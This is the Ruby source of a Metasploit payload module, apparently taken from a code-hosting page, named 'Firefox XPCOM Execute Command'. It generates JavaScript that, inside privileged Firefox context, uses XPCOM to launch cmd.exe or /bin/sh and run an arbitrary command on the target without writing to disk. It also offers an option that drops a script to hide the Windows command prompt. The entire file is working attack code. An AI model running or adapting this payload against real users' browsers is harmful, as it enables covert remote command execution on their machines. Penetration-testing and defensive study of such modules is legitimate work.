71 lines
2.2 KiB
Ruby
71 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module MetasploitModule
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CachedSize = 1019
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include Msf::Payload::Single
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include Msf::Payload::Firefox
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def initialize(info={})
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super(merge_info(info,
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'Name' => 'Firefox XPCOM Execute Command',
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'Description' => %Q|
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This module runs a shell command on the target OS withough touching the disk.
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On Windows, this command will flash the command prompt momentarily.
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This can be avoided by setting WSCRIPT to true, which drops a jscript
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"launcher" to disk that hides the prompt.
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|,
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'Author' => ['joev'],
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'License' => BSD_LICENSE,
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'Platform' => 'firefox',
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'Arch' => ARCH_FIREFOX
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))
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register_options([
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OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),
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OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])
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], self.class)
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end
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def generate
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<<-EOS
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(function(){
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window = this;
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#{read_file_source if datastore['WSCRIPT']}
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#{run_cmd_source if datastore['WSCRIPT']}
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var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
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.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
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var windows = (ua.indexOf("Windows")>-1);
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var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;
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if (#{datastore['WSCRIPT']} && windows) {
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runCmd(cmd);
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} else {
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var process = Components.classes["@mozilla.org/process/util;1"]
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.createInstance(Components.interfaces.nsIProcess);
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var sh = Components.classes["@mozilla.org/file/local;1"]
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.createInstance(Components.interfaces.nsILocalFile);
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var args;
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if (windows) {
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sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
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args = ["/c", cmd];
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} else {
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sh.initWithPath("/bin/sh");
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args = ["-c", cmd];
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}
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process.init(sh);
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process.run(true, args, args.length);
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}
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})();
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EOS
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end
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end
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